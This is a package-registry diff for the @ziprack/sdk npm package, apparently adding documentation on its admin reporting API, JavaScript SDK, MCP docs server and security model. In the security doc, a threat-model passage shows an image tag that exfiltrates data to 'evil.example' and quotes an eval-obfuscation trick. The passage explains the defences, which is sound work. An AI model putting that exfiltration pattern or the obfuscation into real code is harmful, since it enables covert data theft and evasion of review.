@ziprack/sdk 0.1.1 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/broadcast/index.d.ts +8 -1
- package/dist/core/mock/MockRack.d.ts +6 -0
- package/dist/core/types.d.ts +4 -0
- package/dist/docs/README.md +52 -0
- package/dist/docs/activity.md +140 -0
- package/dist/docs/ai.md +159 -0
- package/dist/docs/applet-packages.md +118 -0
- package/dist/docs/attempts.md +184 -0
- package/dist/docs/auth.md +106 -0
- package/dist/docs/broadcast.md +226 -0
- package/dist/docs/conformance.md +102 -0
- package/dist/docs/database.md +176 -0
- package/dist/docs/extending.md +256 -0
- package/dist/docs/installation.md +185 -0
- package/dist/docs/introduction.md +124 -0
- package/dist/docs/manifest.md +209 -0
- package/dist/docs/media.md +85 -0
- package/dist/docs/protocol.md +121 -0
- package/dist/docs/publishing.md +127 -0
- package/dist/docs/reporting.md +146 -0
- package/dist/docs/sdk.md +258 -0
- package/dist/docs/security.md +127 -0
- package/dist/docs/storage.md +131 -0
- package/dist/docs/studio.md +425 -0
- package/dist/docs/versioning.md +101 -0
- package/dist/docs/ziprack-1-authoring.md +182 -0
- package/dist/index.js +11 -2
- package/dist/index.js.map +1 -1
- package/dist/mcp/bin.d.ts +2 -0
- package/dist/mcp/bin.js +3 -0
- package/dist/mcp/docs.d.ts +31 -0
- package/dist/mcp/docs.js +107 -0
- package/dist/mcp/index.d.ts +4 -0
- package/dist/mcp/index.js +4 -0
- package/dist/mcp/rpc.d.ts +33 -0
- package/dist/mcp/rpc.js +86 -0
- package/dist/mcp/server.d.ts +23 -0
- package/dist/mcp/server.js +55 -0
- package/dist/mcp/tools.d.ts +20 -0
- package/dist/mcp/tools.js +106 -0
- package/dist/{store-DSV5q7C7.js → store-BXGon4iJ.js} +15 -5
- package/dist/store-BXGon4iJ.js.map +1 -0
- package/dist/testing.js +1 -1
- package/dist/ziprack-sdk.iife.js +1 -1
- package/dist/ziprack-sdk.iife.js.map +1 -1
- package/package.json +10 -4
- package/dist/store-DSV5q7C7.js.map +0 -1
|
@@ -0,0 +1,146 @@
|
|
|
1
|
+
# Reporting
|
|
2
|
+
|
|
3
|
+
- [Composition](#composition)
|
|
4
|
+
- [The Admin API](#the-admin-api)
|
|
5
|
+
- [Preview Runs](#preview-runs)
|
|
6
|
+
- [The CSV Export](#the-csv-export)
|
|
7
|
+
- [Metrics](#metrics)
|
|
8
|
+
- [Response Analysis](#response-analysis)
|
|
9
|
+
- [Building a UI](#building-a-ui)
|
|
10
|
+
|
|
11
|
+
<a name="composition"></a>
|
|
12
|
+
## Composition
|
|
13
|
+
|
|
14
|
+
`ziprack/admin` is **headless**: JSON endpoints, export and report services, no pages. The
|
|
15
|
+
deployment skeleton owns the UI, and replacing it entirely is expected — the API is the contract,
|
|
16
|
+
the pages are not.
|
|
17
|
+
|
|
18
|
+
The admin composes from declared capabilities rather than assuming every applet is a simulation.
|
|
19
|
+
Ask a Rack what to render:
|
|
20
|
+
|
|
21
|
+
```http
|
|
22
|
+
GET /ziprack/admin/applets/{applet}/panels
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
```json
|
|
26
|
+
{
|
|
27
|
+
"declared": ["activity@1", "attempt@1", "auth@1"],
|
|
28
|
+
"panels": ["activity", "attempt", "auth"],
|
|
29
|
+
"implemented": ["activity@1", "ai@1", "attempt@1", "auth@1", "broadcast@1", "db@1", "storage@1"]
|
|
30
|
+
}
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
`panels` is the intersection of what the current version declares and what this Rack implements —
|
|
34
|
+
render exactly those and nothing else.
|
|
35
|
+
|
|
36
|
+
| Declared | Renders |
|
|
37
|
+
|---|---|
|
|
38
|
+
| `attempt@1` | Attempts started and completed, completion rate, metric cards |
|
|
39
|
+
| `activity@1` | Statement log per attempt; CSV export |
|
|
40
|
+
| `db@1` | Record browser per collection, from the declared JSON Schema |
|
|
41
|
+
| `storage@1` | Uploaded artifact gallery, scoped and permissioned |
|
|
42
|
+
| `ai@1` | Per-prompt spend and call volume |
|
|
43
|
+
| `broadcast@1` | Room history, participation by role, facilitator timeline |
|
|
44
|
+
|
|
45
|
+
<a name="the-admin-api"></a>
|
|
46
|
+
## The Admin API
|
|
47
|
+
|
|
48
|
+
All routes sit under `ziprack-admin.prefix` (default `/ziprack/admin`) behind `web`, `auth` and the
|
|
49
|
+
`ziprack.admin` gate — which defaults to `$user->is_admin` and can be redefined by the deployment.
|
|
50
|
+
|
|
51
|
+
| Route | Purpose |
|
|
52
|
+
|---|---|
|
|
53
|
+
| `GET status` | Format, core version, capabilities, warnings |
|
|
54
|
+
| `GET applets` · `POST applets` | List and create |
|
|
55
|
+
| `GET applets/{applet}` · `PATCH applets/{applet}` | Show and update |
|
|
56
|
+
| `GET applets/{applet}/panels` | What to render |
|
|
57
|
+
| `POST versions/upload` · `POST applets/{applet}/versions` | Install a package |
|
|
58
|
+
| `GET applets/{applet}/versions/{version}` | Manifest, requires diff, SBOM, OSV findings, publisher |
|
|
59
|
+
| `POST …/{version}/approve` · `…/promote` · `…/retire` | The publishing actions |
|
|
60
|
+
| `GET review-queue` | Everything awaiting a decision |
|
|
61
|
+
| `GET participants` · `GET audit-log` | People and capability calls |
|
|
62
|
+
|
|
63
|
+
Capability packages add their own, and only when installed:
|
|
64
|
+
|
|
65
|
+
| Route | Capability |
|
|
66
|
+
|---|---|
|
|
67
|
+
| `GET applets/{applet}/overview` · `…/attempts` · `…/attempts/{attempt}` | `attempt` |
|
|
68
|
+
| `GET applets/{applet}/attempts/{attempt}/statements` · `…/export.csv` · `…/metrics` | `activity` |
|
|
69
|
+
| `GET applets/{applet}/collections` · `…/collections/{name}/records` | `db` |
|
|
70
|
+
| `GET applets/{applet}/files` | `storage` |
|
|
71
|
+
| `GET applets/{applet}/ai/spend` · `…/ai/calls` | `ai` |
|
|
72
|
+
| `GET applets/{applet}/rooms` · `POST rooms` · `GET rooms/{room}` · `POST rooms/{room}/status` · `GET rooms/{room}/events` | `broadcast` |
|
|
73
|
+
| `GET participants/{participant}/profile` · `PUT …` | `auth` |
|
|
74
|
+
|
|
75
|
+
<a name="preview-runs"></a>
|
|
76
|
+
## Preview Runs
|
|
77
|
+
|
|
78
|
+
Every attempt query above — the table, the overview counts, the metric cards and the CSV export —
|
|
79
|
+
returns **live attempts only** unless told otherwise:
|
|
80
|
+
|
|
81
|
+
| `?preview=` | Returns |
|
|
82
|
+
|---|---|
|
|
83
|
+
| *(absent)* · `live` | Real runs. The default, and what a report should almost always show. |
|
|
84
|
+
| `preview` | Staff [preview runs](attempts.md#preview-runs) only |
|
|
85
|
+
| `all` | Both, with `is_preview` on each row to tell them apart |
|
|
86
|
+
|
|
87
|
+
An unrecognised value falls back to `live` rather than erroring, so a stale bookmark cannot quietly
|
|
88
|
+
turn preview data into a report.
|
|
89
|
+
|
|
90
|
+
<a name="the-csv-export"></a>
|
|
91
|
+
## The CSV Export
|
|
92
|
+
|
|
93
|
+
`GET /ziprack/admin/applets/{applet}/export.csv` produces one row per attempt:
|
|
94
|
+
|
|
95
|
+
```
|
|
96
|
+
ID, Name, Email, {first segment label}, Status, Started At, Completed At,
|
|
97
|
+
{declared activities in sequence order, headed by label},
|
|
98
|
+
{undeclared activity ids that appeared, appended}
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
Each activity cell is the **last** `result.response` for that activity in that attempt; non-scalar
|
|
102
|
+
values are JSON-encoded, and duplicate labels are disambiguated so the header row stays usable.
|
|
103
|
+
|
|
104
|
+
This is the one artifact every applet declaring `activity@1` produces identically, which is what
|
|
105
|
+
makes it worth protecting. The authoring consequences are covered in
|
|
106
|
+
[Designing for the Export](activity.md#designing-for-the-export) and are unchanged from `cn-sim/1`:
|
|
107
|
+
`id` is the data contract, `label` is the header, renaming either has consequences.
|
|
108
|
+
|
|
109
|
+
<a name="metrics"></a>
|
|
110
|
+
## Metrics
|
|
111
|
+
|
|
112
|
+
`GET /ziprack/admin/applets/{applet}/metrics` computes each declared
|
|
113
|
+
[metric](activity.md#metrics) over completed attempts: the pre mean, the post mean and the shift,
|
|
114
|
+
sliceable by the primary segment. Metrics need `attempt@1` as well as `activity@1`, which the
|
|
115
|
+
manifest validator enforces at upload rather than leaving to discover at report time.
|
|
116
|
+
|
|
117
|
+
<a name="response-analysis"></a>
|
|
118
|
+
## Response Analysis
|
|
119
|
+
|
|
120
|
+
The admin can summarise free-text answers across attempts:
|
|
121
|
+
|
|
122
|
+
```sh
|
|
123
|
+
php artisan ziprack:response-analysis --applet=my-applet
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
```http
|
|
127
|
+
GET /ziprack/admin/applets/{applet}/response-analysis
|
|
128
|
+
POST /ziprack/admin/applets/{applet}/response-analysis/refresh
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
Summaries regenerate only for applets whose answers changed; schedule the command every few hours.
|
|
132
|
+
|
|
133
|
+
**This is a Rack feature, not an applet capability.** It operates on collected statements from any
|
|
134
|
+
applet declaring `activity@1`, whether or not that applet uses [`ai@1`](ai.md). The two are budgeted
|
|
135
|
+
and configured separately, and conflating them is the mistake this note exists to prevent.
|
|
136
|
+
|
|
137
|
+
<a name="building-a-ui"></a>
|
|
138
|
+
## Building a UI
|
|
139
|
+
|
|
140
|
+
The skeleton ships a reference admin over these endpoints. When you replace it:
|
|
141
|
+
|
|
142
|
+
1. Call `/panels` first and render from the answer. Hard-coding panels breaks the moment a Rack runs
|
|
143
|
+
a different capability set.
|
|
144
|
+
2. Render `db@1` record tables from the collection's declared JSON Schema — the schema is there
|
|
145
|
+
precisely so the UI does not need per-applet knowledge.
|
|
146
|
+
3. Treat the review queue as the landing page. It is where the decisions are.
|
package/dist/docs/sdk.md
ADDED
|
@@ -0,0 +1,258 @@
|
|
|
1
|
+
# The JavaScript SDK
|
|
2
|
+
|
|
3
|
+
- [Installation](#installation)
|
|
4
|
+
- [Booting](#booting)
|
|
5
|
+
- [Launch Data](#launch-data)
|
|
6
|
+
- [Acks and Errors](#acks-and-errors)
|
|
7
|
+
- [Events](#events)
|
|
8
|
+
- [Mock Mode](#mock-mode)
|
|
9
|
+
- [Testing](#testing)
|
|
10
|
+
- [Leaving the Applet](#leaving-the-applet)
|
|
11
|
+
- [The MCP Server](#the-mcp-server)
|
|
12
|
+
|
|
13
|
+
<a name="installation"></a>
|
|
14
|
+
## Installation
|
|
15
|
+
|
|
16
|
+
```sh
|
|
17
|
+
npm install @ziprack/sdk
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
```ts
|
|
21
|
+
import { Rack } from '@ziprack/sdk';
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
`Rack` is a singleton — one per frame, which is what an applet always is. `createRack()` returns a
|
|
25
|
+
fresh client for tests or unusual multi-frame setups.
|
|
26
|
+
|
|
27
|
+
A Rack also serves an IIFE build at `/ziprack/assets/sdk.js` that exposes `window.Rack` (and
|
|
28
|
+
`window.ZipRack`), for applets with no build step. It is the same code; prefer the npm package when you have a bundler, because mock
|
|
29
|
+
mode and the test host come with it.
|
|
30
|
+
|
|
31
|
+
<a name="booting"></a>
|
|
32
|
+
## Booting
|
|
33
|
+
|
|
34
|
+
```ts
|
|
35
|
+
const launch = await Rack.init({ slug: 'my-applet' });
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
`init()` announces `rack:ready` to the parent, waits for `rack:launch`, and resolves with the launch
|
|
39
|
+
payload. It is safe to call repeatedly: subsequent calls return the same promise. Calls made before
|
|
40
|
+
the handshake completes are queued, not dropped, so you never have to gate your UI on initialisation
|
|
41
|
+
order.
|
|
42
|
+
|
|
43
|
+
| Option | Default | Purpose |
|
|
44
|
+
|---|---|---|
|
|
45
|
+
| `slug` | — | Labels the mock session and locates `./manifest.json` when standalone. |
|
|
46
|
+
| `launchTimeoutMs` | `3000` | How long to wait for `rack:launch` before falling back to mock mode. |
|
|
47
|
+
| `ackTimeoutMs` | `5000` | Per-call ack timeout. Streamed calls reset it per chunk. |
|
|
48
|
+
| `manifestUrl` | `./manifest.json` | Where mock mode reads your manifest. |
|
|
49
|
+
| `transport` | — | Inject a transport (tests). Skips the handshake and mock detection. |
|
|
50
|
+
|
|
51
|
+
`Rack.mode` is `'pending'`, `'host'` or `'mock'`. `Rack.launched` tells you whether launch data has
|
|
52
|
+
arrived.
|
|
53
|
+
|
|
54
|
+
<a name="launch-data"></a>
|
|
55
|
+
## Launch Data
|
|
56
|
+
|
|
57
|
+
Everything the Rack is willing to tell you up front arrives in one payload — there is no second
|
|
58
|
+
round trip to fetch the participant, the attempt or the manifest.
|
|
59
|
+
|
|
60
|
+
```ts
|
|
61
|
+
interface LaunchData {
|
|
62
|
+
schema: 'ziprack/1';
|
|
63
|
+
actor: { id: number; name: string };
|
|
64
|
+
applet: { slug: string; name: string; version: string };
|
|
65
|
+
capabilities: string[]; // as declared, e.g. ['auth@1', 'db@1']
|
|
66
|
+
media: Record<string, MediaEmbed>; // Rack-built player URLs by declared id
|
|
67
|
+
|
|
68
|
+
auth?: { user: LaunchUser };
|
|
69
|
+
attempt?: { id, status, state, segment };
|
|
70
|
+
activity?: { activities: LaunchActivity[] };
|
|
71
|
+
db?: { collections: Array<{ name, scope }> };
|
|
72
|
+
storage?: { uploads: Array<{ name, scope, mime, max_bytes }> };
|
|
73
|
+
ai?: { prompts: Array<{ id, mode }> };
|
|
74
|
+
broadcast?: { room, role, members, state, channels };
|
|
75
|
+
}
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
Each capability contributes its own key, and only when declared. The typed accessors read from the
|
|
79
|
+
same payload, so `Rack.auth.user()`, `Rack.attempt.state()` and `Rack.activity.activities()` are
|
|
80
|
+
synchronous and free.
|
|
81
|
+
|
|
82
|
+
```ts
|
|
83
|
+
Rack.on('launch', (data) => render(data)); // fires immediately if already launched
|
|
84
|
+
Rack.declares('broadcast'); // did the manifest declare it?
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
<a name="acks-and-errors"></a>
|
|
88
|
+
## Acks and Errors
|
|
89
|
+
|
|
90
|
+
**Every SDK call resolves to an `AckResult` and never throws.** There is no `try`/`catch` ceremony
|
|
91
|
+
around a capability call; there is a branch on `ok`.
|
|
92
|
+
|
|
93
|
+
```ts
|
|
94
|
+
interface AckResult<T> {
|
|
95
|
+
ok: boolean;
|
|
96
|
+
data?: T;
|
|
97
|
+
error?: AckErrorCode;
|
|
98
|
+
message?: string; // human-readable, safe to log, not to show
|
|
99
|
+
details?: object; // validation errors, keyed by field
|
|
100
|
+
}
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
```ts
|
|
104
|
+
const result = await Rack.db.collection('ideas').create({ title, status: 'draft' });
|
|
105
|
+
|
|
106
|
+
if (! result.ok) {
|
|
107
|
+
if (result.error === 'quota_exceeded') return showFull();
|
|
108
|
+
return showRetry();
|
|
109
|
+
}
|
|
110
|
+
|
|
111
|
+
const idea = result.data.record;
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
| Code | Means |
|
|
115
|
+
|---|---|
|
|
116
|
+
| `timeout` | No ack within the timeout. The shell retries the batch once; this is what you see after that. |
|
|
117
|
+
| `disposed` | The client was torn down while the call was in flight. |
|
|
118
|
+
| `persist_failed` | The Rack could not process the message. Already reported server-side. |
|
|
119
|
+
| `undeclared_capability` | The manifest does not declare it — a packaging bug, not a runtime condition. |
|
|
120
|
+
| `unknown_type` | Malformed or unimplemented message type. |
|
|
121
|
+
| `validation` | Payload failed the handler's rules or a declared schema. See `details`. |
|
|
122
|
+
| `forbidden` | Permitted by the manifest, refused for this participant (not the owner, not the facilitator). |
|
|
123
|
+
| `completed` | The attempt is finished; state, segment and attempt-scoped records are frozen. |
|
|
124
|
+
| `quota_exceeded` | Collection full, upload slot full, file too large. |
|
|
125
|
+
| `budget_exceeded` | An `ai@1` budget was reached. |
|
|
126
|
+
| `not_found` | Unknown record, file, channel or collection. |
|
|
127
|
+
| `conflict` | A concurrent write lost. |
|
|
128
|
+
|
|
129
|
+
**Do not block the participant on an ack.** The shell batches messages on a 300 ms window (up to 50
|
|
130
|
+
per request) and coalesces `attempt:state` so only the latest value is sent. Fire and forget for
|
|
131
|
+
progress and state; `await` only what you must confirm — typically the last answer before
|
|
132
|
+
`complete()`.
|
|
133
|
+
|
|
134
|
+
```ts
|
|
135
|
+
void Rack.attempt.setState({ step: 4 }); // fire and forget
|
|
136
|
+
await Rack.activity.answer('outro.confidence', 5); // confirm, then:
|
|
137
|
+
await Rack.attempt.complete();
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
<a name="events"></a>
|
|
141
|
+
## Events
|
|
142
|
+
|
|
143
|
+
The Rack pushes events into the frame — room broadcasts, presence changes, role grants. Subscribe
|
|
144
|
+
through the capability that owns them (see [Broadcast](broadcast.md)), or read the raw stream:
|
|
145
|
+
|
|
146
|
+
```ts
|
|
147
|
+
Rack.on('event', ({ event, payload, channel, from }) => {
|
|
148
|
+
console.log(event, payload, channel, from?.participant_id);
|
|
149
|
+
});
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
<a name="mock-mode"></a>
|
|
153
|
+
## Mock Mode
|
|
154
|
+
|
|
155
|
+
Run `npm run dev` and there is no Rack, so the SDK becomes one. Mock mode reads your
|
|
156
|
+
`./manifest.json` and services every capability locally — which means declared capabilities,
|
|
157
|
+
activities, collections, prompts and uploads behave exactly as they will in production, including
|
|
158
|
+
refusing calls the manifest did not declare.
|
|
159
|
+
|
|
160
|
+
```
|
|
161
|
+
[ziprack] running in mock mode (not embedded in a Rack)
|
|
162
|
+
[ziprack mock] activity:statement { verb: 'answered', … }
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
| Surface | Mock behaviour |
|
|
166
|
+
|---|---|
|
|
167
|
+
| `attempt` | State and status persist in `localStorage` under `ziprack-mock:{slug}:*`. Refresh resumes. |
|
|
168
|
+
| `activity` | Statements are logged and kept in memory. |
|
|
169
|
+
| `db` | Records persist in `localStorage`, validated against the declared schema. |
|
|
170
|
+
| `storage` | Files are held as blob URLs and marked clean. |
|
|
171
|
+
| `ai` | Returns a stub conforming to `output_schema` — or your own handler. |
|
|
172
|
+
| `broadcast` | Uses `BroadcastChannel`, so **two tabs of your dev server form a room**. |
|
|
173
|
+
|
|
174
|
+
Two hooks exist only in mock mode:
|
|
175
|
+
|
|
176
|
+
```ts
|
|
177
|
+
Rack.mock.ai('score_pitch', (vars) => ({ clarity: 4, feedback: `Nice work on "${vars.pitch}"` }));
|
|
178
|
+
Rack.mock.resetAttempt(); // replay a completed attempt
|
|
179
|
+
```
|
|
180
|
+
|
|
181
|
+
Mock mode also engages if a real Rack fails to answer `rack:launch` within `launchTimeoutMs`. That
|
|
182
|
+
is a deliberate development convenience, and the console says so — if you see it in production,
|
|
183
|
+
something is wrong with the shell, not with your applet.
|
|
184
|
+
|
|
185
|
+
<a name="testing"></a>
|
|
186
|
+
## Testing
|
|
187
|
+
|
|
188
|
+
`@ziprack/sdk/testing` ships an in-memory Rack you can assert against.
|
|
189
|
+
|
|
190
|
+
```ts
|
|
191
|
+
import { createRack } from '@ziprack/sdk';
|
|
192
|
+
import { FakeHost } from '@ziprack/sdk/testing';
|
|
193
|
+
import manifest from '../public/manifest.json';
|
|
194
|
+
|
|
195
|
+
it('records the answer and completes exactly once', async () => {
|
|
196
|
+
const host = new FakeHost(manifest);
|
|
197
|
+
const rack = createRack();
|
|
198
|
+
await rack.init({ transport: host.transport() });
|
|
199
|
+
|
|
200
|
+
await rack.activity.answer('intro.confidence', 5);
|
|
201
|
+
await rack.attempt.complete();
|
|
202
|
+
await rack.attempt.complete(); // idempotent
|
|
203
|
+
|
|
204
|
+
expect(host.answers()).toEqual({ 'intro.confidence': 5 });
|
|
205
|
+
expect(host.attempt().status).toBe('completed');
|
|
206
|
+
});
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
| Member | Gives you |
|
|
210
|
+
|---|---|
|
|
211
|
+
| `host.transport()` | Pass to `rack.init({ transport })`. |
|
|
212
|
+
| `host.statements` | Every statement the applet emitted, in order. |
|
|
213
|
+
| `host.answers()` | The last `answered` value per activity — what reporting would export. |
|
|
214
|
+
| `host.attempt()`, `host.records(name)`, `host.files()` | Persisted state. |
|
|
215
|
+
| `host.push(event)` | Push a `rack:event` in, as the Rack would, to drive broadcast handlers. |
|
|
216
|
+
|
|
217
|
+
<a name="leaving-the-applet"></a>
|
|
218
|
+
## Leaving the Applet
|
|
219
|
+
|
|
220
|
+
```ts
|
|
221
|
+
Rack.eject();
|
|
222
|
+
```
|
|
223
|
+
|
|
224
|
+
Asks the Rack to navigate away — back to the applet list, or wherever the deployment sends people.
|
|
225
|
+
It needs no capability and takes no ack. In mock mode it logs what would have happened.
|
|
226
|
+
|
|
227
|
+
<a name="the-mcp-server"></a>
|
|
228
|
+
## The MCP Server
|
|
229
|
+
|
|
230
|
+
```sh
|
|
231
|
+
npx ziprack-mcp
|
|
232
|
+
```
|
|
233
|
+
|
|
234
|
+
The SDK ships a stdio MCP server that gives an AI assistant these docs and the applet authoring
|
|
235
|
+
guidelines. The docs are bundled into the package when it is published, so what the assistant reads
|
|
236
|
+
always matches the SDK version in your `node_modules`, not whatever it remembers of an older one. The
|
|
237
|
+
starter already includes the configuration in `.mcp.json`:
|
|
238
|
+
|
|
239
|
+
```json
|
|
240
|
+
{
|
|
241
|
+
"mcpServers": {
|
|
242
|
+
"ziprack": {
|
|
243
|
+
"command": "npx",
|
|
244
|
+
"args": ["ziprack-mcp"]
|
|
245
|
+
}
|
|
246
|
+
}
|
|
247
|
+
}
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
| Tool | Purpose |
|
|
251
|
+
|---|---|
|
|
252
|
+
| `ziprack_guidelines` | The rules every applet follows (`ziprack-1-authoring.md`). Read before writing applet code. |
|
|
253
|
+
| `ziprack_list_docs` | Every doc in reading order, with its section anchors. |
|
|
254
|
+
| `ziprack_search_docs` | The best-matching sections, in full, for one or more phrasings. |
|
|
255
|
+
| `ziprack_read_doc` | One doc, or one section of it by anchor. |
|
|
256
|
+
|
|
257
|
+
Every answer names the SDK version it came from. `ziprack-studio mcp` includes the same four tools,
|
|
258
|
+
so a Studio project needs only the one server.
|
|
@@ -0,0 +1,127 @@
|
|
|
1
|
+
# Security
|
|
2
|
+
|
|
3
|
+
- [The Boundary](#the-boundary)
|
|
4
|
+
- [The Sandbox](#the-sandbox)
|
|
5
|
+
- [The Content Security Policy](#the-content-security-policy)
|
|
6
|
+
- [Tokens and Sessions](#tokens-and-sessions)
|
|
7
|
+
- [Threats the Boundary Does Not Cover](#threats-the-boundary-does-not-cover)
|
|
8
|
+
- [Static Analysis](#static-analysis)
|
|
9
|
+
|
|
10
|
+
<a name="the-boundary"></a>
|
|
11
|
+
## The Boundary
|
|
12
|
+
|
|
13
|
+
Two mechanisms do essentially all of the work: the iframe sandbox and the Content Security Policy.
|
|
14
|
+
Everything else in zipRACK — declared capabilities, quotas, budgets, review queues — is defence in
|
|
15
|
+
depth over those two.
|
|
16
|
+
|
|
17
|
+
The reason to be strict about which is which: sandbox and CSP hold against a *hostile* applet. The
|
|
18
|
+
declaration model holds against a *careless* one, and gives a reviewer something to read. Do not
|
|
19
|
+
lean on the second where the first is what is needed.
|
|
20
|
+
|
|
21
|
+
<a name="the-sandbox"></a>
|
|
22
|
+
## The Sandbox
|
|
23
|
+
|
|
24
|
+
```html
|
|
25
|
+
<iframe sandbox="allow-scripts allow-forms allow-popups allow-popups-to-escape-sandbox"
|
|
26
|
+
allow="autoplay; fullscreen; picture-in-picture; encrypted-media"
|
|
27
|
+
src="/ziprack/pkg/{token}/index.html"></iframe>
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
`allow-same-origin` is absent, and that absence is the whole design. The applet document has an
|
|
31
|
+
opaque origin, which means:
|
|
32
|
+
|
|
33
|
+
- No cookies, no `localStorage`, no `sessionStorage`, no `IndexedDB`.
|
|
34
|
+
- No credentialed requests, and no useful requests to the Rack at all.
|
|
35
|
+
- No access to the parent DOM.
|
|
36
|
+
- Nested frames inherit the flags, so an embedded player is equally contained.
|
|
37
|
+
|
|
38
|
+
Communication is `postMessage` only, and the host honours a message solely when `event.source` is
|
|
39
|
+
the applet's `contentWindow`. Origin is never compared, because an opaque origin makes comparison
|
|
40
|
+
meaningless — a detail worth understanding before anyone "fixes" it.
|
|
41
|
+
|
|
42
|
+
<a name="the-content-security-policy"></a>
|
|
43
|
+
## The Content Security Policy
|
|
44
|
+
|
|
45
|
+
Served with the applet's entry document. **Directives are fixed in the middleware**; a deployment may
|
|
46
|
+
add approved hosts, never a bare scheme.
|
|
47
|
+
|
|
48
|
+
| Directive | Value |
|
|
49
|
+
|---|---|
|
|
50
|
+
| `default-src` | `'self'` |
|
|
51
|
+
| `script-src` | `'self' 'unsafe-inline' 'unsafe-eval' blob:` |
|
|
52
|
+
| `style-src` | `'self' 'unsafe-inline'` + configured font CDNs |
|
|
53
|
+
| `font-src` | `'self' data:` + configured font CDNs |
|
|
54
|
+
| `img-src` | `'self' data: blob:` + deployment allowlist |
|
|
55
|
+
| `media-src` | `'self' blob:` + deployment allowlist |
|
|
56
|
+
| `connect-src` | `'self'` |
|
|
57
|
+
| `frame-src` | the allowlisted media providers' player hosts, else `'none'` |
|
|
58
|
+
| `frame-ancestors`, `base-uri`, `form-action` | `'self'` |
|
|
59
|
+
|
|
60
|
+
**Why `img-src` matters more than it looks.** A hostile applet can exfiltrate anything it holds with
|
|
61
|
+
a single tag:
|
|
62
|
+
|
|
63
|
+
```html
|
|
64
|
+
<img src="https://evil.example/?d=…">
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
That request fires without touching any Rack surface, leaves no statement, and appears in no log the
|
|
68
|
+
Rack controls. Tightening `img-src` and `media-src` to `'self' data: blob:` plus an explicit
|
|
69
|
+
allowlist closes it, and costs nothing in capability, because applets already ship their own assets.
|
|
70
|
+
It is the single highest-value security control in the framework.
|
|
71
|
+
|
|
72
|
+
The config accepts hosts, and only hosts:
|
|
73
|
+
|
|
74
|
+
```php
|
|
75
|
+
'csp' => [
|
|
76
|
+
'img_hosts' => ['cdn.client.example'], // ZIPRACK_CSP_IMG_HOSTS
|
|
77
|
+
'media_hosts' => [],
|
|
78
|
+
],
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
`https:`, `http:`, `*`, `https://*` and anything containing a wildcard are rejected outright;
|
|
82
|
+
`ContentSecurityPolicy::violations()` reports attempts, and `ziprack:status` surfaces them. A host
|
|
83
|
+
without a scheme is normalised to `https://`.
|
|
84
|
+
|
|
85
|
+
External media that genuinely must load from elsewhere routes through the Rack's `/cdn/...` proxy
|
|
86
|
+
instead of loosening the policy.
|
|
87
|
+
|
|
88
|
+
<a name="tokens-and-sessions"></a>
|
|
89
|
+
## Tokens and Sessions
|
|
90
|
+
|
|
91
|
+
- **Package asset token.** Applet files are served from `/ziprack/pkg/{token}/…` with a signed token
|
|
92
|
+
scoped to one version, expiring after `ziprack.asset_token_ttl_hours` (6). The extraction disk is
|
|
93
|
+
never publicly served.
|
|
94
|
+
- **Launch session.** Capability calls go to `/ziprack/s/{session}/messages` with a token in the
|
|
95
|
+
path — no session cookie, no CSRF, stateless by design, rate limited, expiring after
|
|
96
|
+
`ziprack.session_ttl_hours` (6). The session is what binds a message to a participant, a version,
|
|
97
|
+
an attempt and a room; nothing in the payload can widen that scope.
|
|
98
|
+
- **Signed file URLs.** `storage@1` hands out short-lived URLs, never object keys.
|
|
99
|
+
- **Channel authentication.** The Rack signs its own WebSocket subscriptions. No token reaches the
|
|
100
|
+
frame.
|
|
101
|
+
|
|
102
|
+
<a name="threats-the-boundary-does-not-cover"></a>
|
|
103
|
+
## Threats the Boundary Does Not Cover
|
|
104
|
+
|
|
105
|
+
**Credential phishing inside the frame.** An applet can render a convincing fake login form. The
|
|
106
|
+
mitigations are persistent Rack chrome that cannot be spoofed from inside the frame, plus a stated
|
|
107
|
+
and enforced policy: *applets never ask participants for credentials.* Treat a package that does as
|
|
108
|
+
a publishing violation, not a bug.
|
|
109
|
+
|
|
110
|
+
**LLM budget abuse.** An applet with `ai@1` can burn tokens. Budgets are hard caps enforced
|
|
111
|
+
server-side at every layer — per prompt, per attempt, per participant, per applet per day, per Rack
|
|
112
|
+
per month — never advisory numbers.
|
|
113
|
+
|
|
114
|
+
**Record and storage flooding.** Per-scope quotas, declared in the manifest and capped by the
|
|
115
|
+
deployment regardless of what the manifest asks for.
|
|
116
|
+
|
|
117
|
+
**Supply chain.** The SBOM is self-attested. OSV findings catch negligence; the
|
|
118
|
+
[capability diff](publishing.md#capability-diff-review) is what catches the realistic attack, which
|
|
119
|
+
is a benign v1 followed by a quietly wider v2.
|
|
120
|
+
|
|
121
|
+
<a name="static-analysis"></a>
|
|
122
|
+
## Static Analysis
|
|
123
|
+
|
|
124
|
+
AST scanning of shipped applet JavaScript was considered and **dropped**. Applets ship minified with
|
|
125
|
+
mangled identifiers, and any check is defeated by trivial obfuscation — `window["ev"+"al"]` — so it
|
|
126
|
+
would produce false confidence and a maintenance burden without raising the bar. The CSP does the
|
|
127
|
+
work static analysis was being asked to do, and does it at runtime, where it cannot be evaded.
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
# Storage — `storage@1`
|
|
2
|
+
|
|
3
|
+
- [Introduction](#introduction)
|
|
4
|
+
- [Declaring Upload Slots](#declaring-upload-slots)
|
|
5
|
+
- [Uploading](#uploading)
|
|
6
|
+
- [Reading Files Back](#reading-files-back)
|
|
7
|
+
- [Scanning](#scanning)
|
|
8
|
